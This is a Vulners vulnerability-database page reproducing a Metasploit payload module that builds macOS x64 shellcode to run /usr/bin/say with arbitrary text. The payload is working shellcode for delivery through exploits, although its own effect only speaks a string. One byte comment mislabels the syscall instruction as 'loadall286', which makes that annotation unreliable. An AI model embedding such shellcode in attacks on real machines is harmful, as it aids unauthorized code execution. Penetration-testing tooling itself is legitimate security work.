Lucene search
K

OS X x64 say Shellcode

🗓️ 22 Sep 2012 14:13:29Reported by nemo <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 31 Views

OS X x64 say shellcode module for Metasploit, executes Mac OS X text2speec

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule

  CachedSize = 53

  include Msf::Payload::Single

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'OS X x64 say Shellcode',
      'Description'   => 'Say an arbitrary string outloud using Mac OS X text2speech',
      'Author'        => 'nemo <nemo[at]felinemenace.org>',
      'License'       => MSF_LICENSE,
      'Platform'      => 'osx',
      'Arch'          => ARCH_X64
    ))

    # exec payload options
    register_options(
      [
        OptString.new('TEXT',  [ true,  "The text to say", "Hello\!"]),
    ])
  end

  # build the shellcode payload dynamically based on the user-provided CMD
  def generate(_opts = {})
    say = (datastore['TEXT'] || '') << "\x00"
    call = "\xe8" + [say.length + 0xd].pack('V')

    payload =
      "\x48\x31\xC0" +                    # xor rax,rax
      "\xB8\x3B\x00\x00\x02" +            # mov eax,0x200003b
      call +
      "/usr/bin/say\x00" +
      say +
      "\x48\x8B\x3C\x24" +                # mov rdi,[rsp]
      "\x4C\x8D\x57\x0D" +                # lea r10,[rdi+0xd]
      "\x48\x31\xD2" +                    # xor rdx,rdx
      "\x52" +                            # push rdx
      "\x41\x52" +                        # push r10
      "\x57" +                            # push rdi
      "\x48\x89\xE6" +                    # mov rsi,rsp
      "\x0F\x05"                          # loadall286
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Nov 2022 02:10Current
0.4Low risk
Vulners AI Score0.4
31